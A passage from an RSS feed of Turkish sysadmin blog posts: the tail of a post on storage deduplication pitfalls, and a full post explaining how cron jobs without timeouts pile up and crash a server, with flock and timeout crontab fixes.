O güne kadar diske yazılmış olan o 50 Terabaytlık verinin DDT tablosu, o veriler diskten tek tek silinene veya başka bir diske kopyalanıp o havuz tamamen yok edilene kadar <strong>RAM'i emmeye ve diski kilitlemeye devam eder!</strong></p>
<p>Geriye tek bir çare kalır: Tüm sanal makineleri durdurmak, yeni sıfır bir depolama havuzu açmak ve günlerce sürecek acılı bir veri transferiyle sistemi baştan kurmak.</p>
<hr>
<h2>Gerçek Mühendislik: Tekilleştirme Ne Zaman ve Nasıl Yapılır?</h2>
<p>Deduplication bir düşman değildir; ancak nerede kullanılacağını bilmek cerrahi bir uzmanlık gerektirir:</p>
<pre><code>[DEDUPLICATION KULLANIM REHBERİ]

1. ASLA KULLANILMAYACAK YERLER (Ölümcül Tuzak!):
   - Aktif Veritabanları (MySQL, PostgreSQL, Oracle, MongoDB).
   - Video, Ses, MP4, JPEG, ZIP, GZIP arşivleri (Zaten sıkıştırılmıştır, tekilleşmez!).
   - Canlı E-Ticaret SAN/Ceph depolama havuzları.

2. KULLANILABİLECEK GÜVENLİ ALANLAR:
   - VDI (Sanal Masaüstü Altyapısı): 1.000 personelin aynı Windows 11 imajını
     çalıştırdığı ortamlarda harika sonuç verir.
   - Soğuk Yedekleme Havuzları (Backup Repositories / Veeam Backup):
     Veriler canlıda değilken, arka planda gece çalıştırılan tekilleştirme.

3. DEDUP YERİNE: LZ4 veya ZSTD Sıkıştırması (Compression):
   - ZFS'te `compression=lz4` veya `zstd` açın!
   - CPU maliyeti neredeyse sıfırdır, RAM tüketmez, diski kilitlemez
     ve dosya boyutunu %30 ila %50 oranında güvenle küçültür.
</code></pre>
<h2>Sonuç</h2>
<p>Kan numunelerini kazana boşaltıp santrifüjü patlatan patolog nasıl hastaların hayatını kararttıysa; RAM kapasitesini hesaplamadan Deduplication açıp depolama havuzunu %99 I/O Wait ile kilitleyen sistem mimarı da yüzlerce şirketin operasyonunu öyle karartır.</p>
<p>Mühendislikte bedava kazanç yoktur; diskten tasarruf ettiğiniz her baytın bedelini ya RAM ile ya da CPU ile ödersiniz. Eğer o bedeli ödeyecek donanım rezerviniz yoksa, sihirli optimizasyon sloganlarına kanmayın. Bırakın bloklar diskte tekrar etsin; yeter ki sisteminiz kilitlenmesin, veriniz nefes alsın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Deduplication</category>
            <category>SAN</category>
            <category>NAS</category>
            <category>Depolama</category>
            <category>ZFS</category>
            <category>I/O Wait</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/depolama-havuzunda-deduplication-cokusu-ve-io-wait-kilitlenmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucuda Crontab İçine Zaman Aşımı Koymadan Script Çalıştırmak]]></title>
            <link>http://localhost:3000/blog/post/sunucuda-crontab-icine-zaman-asimi-koymadan-script-calistirmak</link>
            <guid>sunucuda-crontab-icine-zaman-asimi-koymadan-script-calistirmak</guid>
            <pubDate>Tue, 09 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Her dakika çalışması için crontab'a eklenen bir PHP/Python betiğinin kilitlenmesiyle arkadan gelen yüzlerce işlemin sunucuyu Fork Bomb gibi yutarak boğduğu sessiz felaket.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucuda-crontab-icine-zaman-asimi-koymadan-script-calistirmak/thumbnail" alt=""> Yoğun bakımda yatan ve tansiyonu düşen kritik bir hastanın başına otomatik bir robotik ilaç infüzyon pompası bağlandığını hayal edin. Nöbetçi asistan sisteme şu emri girer: <em>"Hastanın damarına her 60 saniyede bir güçlü bir vazopressör (damar büzücü) dozu enjekte et!"</em> Normalde verilen her dozun 30 saniye içinde vücut tarafından emilmesi ve tansiyonun dengelenmesi beklenir. Ancak hastanın damar yolu bükülür veya periferik dolaşım tıkandığı için verilen ilk doz damardan dokuya geçemez, damarın içinde asılı kalır. Pompa ise acımasız bir mekanik saat gibi çalışmaya devam eder: 60 saniye sonra ikinci dozu basar, 120 saniye sonra üçüncü dozu basar, 300 saniye sonra beşinci dozu basar! Önceki dozlar emilmeden arkadan gelen kimyasallar damar yatağını tıka basa doldurur; sonunda damar basınca dayanamayıp çatlar, hasta masif bir toksik şokla arrest olur. Asistanın "Ben sadece dakikada bir çalışacak şekilde ayarlamıştım" savunması, kontrolsüz bir otomasyonun hastayı öldürdüğü gerçeğini değiştiremez.</p>
<p>Linux sistem mühendisliğinde ve web geliştiriciliğinde <code>/etc/crontab</code> dosyasına <strong>zaman aşımı (timeout)</strong> ve <strong>kilit mekanizması (flock)</strong> koymadan her dakika çalışan bir PHP, Python veya Bash betiği eklemek, tam olarak bu tıkalı damara durmaksızın ilaç basan robotik pompanın dijital cinayetidir.</p>
<hr>
<h2>"Her Dakika Çalışsın" Masumiyeti</h2>
<p>Geliştirici e-ticaret sitesine yeni bir özellik ekler: Sipariş senkronizasyonu, harici bir pazar yerinden (Trendyol, Hepsiburada, Amazon) stok güncelleme veya SMS bildirim kuyruğu.</p>
<p>Geliştirici terminalde <code>crontab -e</code> yazar ve o meşhur satırı ekler:</p>
<pre><code class="language-bash"># Her dakika pazar yeri stoklarını senkronize et:
* * * * * /usr/bin/php /var/www/site/sync_stock.php > /dev/null 2>&#x26;1
</code></pre>
<p>Geliştirici kendi lokal bilgisayarında test etmiştir; betik 3 saniyede tamamlanmaktadır. Geliştirici arkasına yaslanır: <em>"Harika, stoklarımız artık her dakika güncel!"</em></p>
<p>Oysa geliştiricinin unuttuğu şey, dış dünyanın (üçüncü taraf API'lerin) her zaman 3 saniyede yanıt vermeyeceğidir.</p>
<hr>
<h2>Patolojinin Gelişimi: Tsunami Dalgası Nasıl Başlar?</h2>
<p>Salı günü saat 14:00'te Trendyol veya entegrasyon yapılan kargo firmasının API sunucusu aşırı yükten dolayı yavaşlar veya kilitlenir.</p>
<p>Ve dakika dakika o felaket çarkı dönmeye başlar:</p>
<pre><code>[14:00:00 - SÜREÇ 1 BAŞLADI]
- sync_stock.php çalıştı.
- Karşı API'ye HTTP cURL isteği attı: "Stokları ver!"
- Karşı API yanıt vermiyor... cURL zaman aşımı (timeout) tanımsız!
- Süreç 1 beklemeye başladı (State: S / Sleeping).
          │
          ▼
[14:01:00 - CRON TETİKLENDİ: SÜREÇ 2 BAŞLADI!]
- Cron umursamazdır: Saat 14:01 oldu mu? Evet!
- İkinci bir sync_stock.php çalıştırılır!
- O da karşı API'ye istek attı, o da askıda kaldı!
- Sunucuda aktif çalışan süreç sayısı: 2.
          │
          ▼
[14:15:00 - 15 DAKİKA GEÇTİ!]
- Sunucuda AYNI ANDA ÇALIŞAN TAM 15 ADET sync_stock.php süreci var!
- Her biri 80 MB RAM ve birer MySQL bağlantısı tutuyor!
          │
          ▼
[14:45:00 - VE SONUÇ: FORK BOMB VE ZİNCİRLEME İFLAS!] 🔴
- Sunucuda 45 ADET kilitlenmiş PHP süreci!
- MySQL max_connections (151) tükendi!
- RAM tamamen doldu, Swap patladı!
- Linux Kernel yeni hiçbir süreç açamaz hale geldi:
  "-bash: fork: Cannot allocate memory"
- Nginx çöktü, web sitesi kapandı, SSH bağlantısı kilitlendi!
</code></pre>
<p>Karşı tarafın API'sinin 45 dakika yavaşlaması, sizin sunucunuzun kendi kendini bir <strong>Fork Bomb</strong> gibi yiyip bitirmesiyle ve intihar etmesiyle sonuçlanmıştır.</p>
<hr>
<h2>Semptom: Kendi Süreçlerinin Altında Ezilen Sunucu</h2>
<p>Sunucu çöktüğünde sistem yöneticisi terminale girmeyi başarırsa ve <code>ps aux | grep php</code> yazarsa ekrana düşen liste tüyler ürperticidir:</p>
<pre><code class="language-text">root  14201  0.2  1.4  /usr/bin/php sync_stock.php (Başlangıç: 14:00)
root  14389  0.2  1.4  /usr/bin/php sync_stock.php (Başlangıç: 14:01)
root  14512  0.2  1.4  /usr/bin/php sync_stock.php (Başlangıç: 14:02)
...
root  28912  0.2  1.4  /usr/bin/php sync_stock.php (Başlangıç: 14:44)
</code></pre>
<p>Yüzlerce kopyası çalışan aynı betik, sunucunun tüm dosya tanıtıcılarını (file descriptors), bellek soketlerini ve işlemci kuyruklarını bir parazit gibi kurutmuştur.</p>
<p>Yönetici <code>killall -9 php</code> yapar; sunucu bir an nefes alır, ancak 60 saniye sonra cron tekrar çalışır ve kabus kaldığı yerden yeniden başlar!</p>
<hr>
<h2>Nerede Hata Yapıldı? İki Ölümcül İhmal</h2>
<p>Bu felaketin iki temel sorumlusu vardır:</p>
<ol>
<li><strong>Kod Düzeyinde Timeout Olmaması:</strong><br>
cURL veya HTTP istemcisine açık bir bağlantı ve okuma zaman aşımı (Connection &#x26; Read Timeout) verilmemiştir. cURL varsayılan olarak sunucu yanıt vermezse sonsuza kadar bekleyebilir!
<pre><code class="language-php">// İHMAL EDİLEN HAYATİ PARAMETRELER:
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // En fazla 10 sn bağlanmayı dene
curl_setopt($ch, CURLOPT_TIMEOUT, 30);        // En fazla 30 sn veri bekle
</code></pre>
</li>
<li><strong>Sistem Düzeyinde Tekillik (Mutex / Lock) Olmaması:</strong><br>
Cron zamanlayıcısı önceki görevin bitip bitmediğini kontrol etmez; körü körüne yeni süreç açar.</li>
</ol>
<hr>
<h2>Cerrahi Tedavi: <code>flock</code> ve <code>timeout</code> Zırhı</h2>
<p>Bir sistem mühendisi crontab'a bir betik eklerken işletim sisteminin sunduğu iki hayati aracı mutlaka kullanmak zorundadır: <strong><code>flock</code></strong> ve <strong><code>timeout</code></strong>.</p>
<h3>1. <code>flock</code> ile Süreç Kilitleme (Asla Çift Çalıştırma!)</h3>
<p><code>flock</code> (File Lock), bir betik çalışırken geçici bir kilit dosyası tutar. Eğer önceki betik hala çalışıyorsa, ikinci betik <strong>SESSİZCE ÇALIŞMADAN ÇIKAR (Exit).</strong></p>
<pre><code class="language-bash"># HATALI CRON:
* * * * * /usr/bin/php /var/www/site/sync.php

# KUSURSUZ VE GÜVENLİ CRON (flock ile):
* * * * * /usr/bin/flock -n /tmp/sync.lock /usr/bin/php /var/www/site/sync.php
</code></pre>
<p><code>-n</code> (non-blocking) bayrağı şunu emreder:<br>
<em>"Eğer <code>/tmp/sync.lock</code> dosyası kilitliyse (yani önceki dakika başlayan işlem henüz bitmediyse), sakın yeni bir işlem açma! Bu dakikayı atla ve hemen çık!"</em></p>
<p>Bu tek bir komut, sunucunuzda aynı anda 2 tane bile <code>sync.php</code> çalışmasını fiziksel olarak imkansız kılar!</p>
<hr>
<h3>2. <code>timeout</code> ile Zorunlu İnfaz (Sonsuza Kadar Bekleme!)</h3>
<p>Eğer betiğiniz bir şekilde donup kalırsa, o kilidi sonsuza kadar tutmasını da engellemeniz gerekir. Bunun için Linux'un yerleşik <strong><code>timeout</code></strong> aracı devreye sokulur:</p>
<pre><code class="language-bash"># ALTIN REÇETE: flock + timeout Kombinasyonu!
* * * * * /usr/bin/flock -n /tmp/sync.lock /usr/bin/timeout 50s /usr/bin/php /var/www/site/sync.php
</code></pre>
<p>Bu kuralın anlamı cerrahi bir emirdir:</p>
<ol>
<li>Önceki işlem çalışıyorsa yenisini <strong>AÇMA</strong> (<code>flock</code>).</li>
<li>Eğer bu işlem 50 saniye içinde kendi kendine bitemezse, işletim sistemi bu sürece <code>SIGKILL</code> atıp <strong>BOĞAZINI SIKARAK ÖLDÜRSÜN</strong> (<code>timeout 50s</code>)!</li>
<li>Böylece bir sonraki dakika (60. saniye) geldiğinde kilit dosyası tertemiz serbest kalır ve yeni işlem taze bir nefesle başlar.</li>
</ol>
<hr>
<h2>Kurumsal Mimari: Cron Yerine Mesaj Kuyrukları (RabbitMQ / Redis)</h2>
<p>Yüksek hacimli ve kurumsal projelerde periyodik görevlerin doğrudan crontab üzerinden koşturulması zaten arkaik (eski) bir yaklaşımdır.</p>
<p>Modern mikroservis mimarisinde:</p>
<ul>
<li>Arka plan işleri <strong>RabbitMQ, Redis Queue (BullMQ / Celery) veya Amazon SQS</strong> gibi kuyruk yöneticilerine atılır.</li>
<li>Arka planda çalışan sınırlı sayıdaki işçi (Worker) süreçleri kuyruktan işleri sırayla çeker ve işler.</li>
<li>Kuyrukta 1 milyon iş birikse bile sunucuda 1 milyon işlem açılmaz; sadece belirlenmiş 4 adet işçi sakince görevini yapar. Sunucu asla kilitlenemez.</li>
</ul>
<h2>Sonuç</h2>
<p>Önceki ilacın emildiğini kontrol etmeden hastanın damarına her dakika yeni enjektör boşaltan hekim hastayı öldürür; kilit ve zaman aşımı mekanizması koymadan crontab'a kontrolsüz betik ekleyen geliştirici de sunucusunu intihara sürükler.</p>
<p>Otomasyon kendi kendini denetleyen sınırlar koyduğunuzda bir güçtür; sınır koymadığınızda ise kendi kendini yok eden bir canavardır. Crontab'ınıza yazdığınız her satıra bir cerrah dikkatiyle bakın: <code>flock</code> ile kapıyı tutun, <code>timeout</code> ile neşterin süresini sınırlayın; sunucunuzun kendi ürettiği işlemlerin altında boğulmasına asla izin vermeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Cron</category>
            <category>Linux</category>
            <category>Timeout</category>
            <category>Zombie Process</category>
            <category>Fork Bomb</category>
            <category>SysAdmin</category>
            <category>Otomasyon</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucuda-crontab-icine-zaman-asimi-koymadan-script-calistirmak/thumbnail"/>
        </item>
    </channel>
</rss>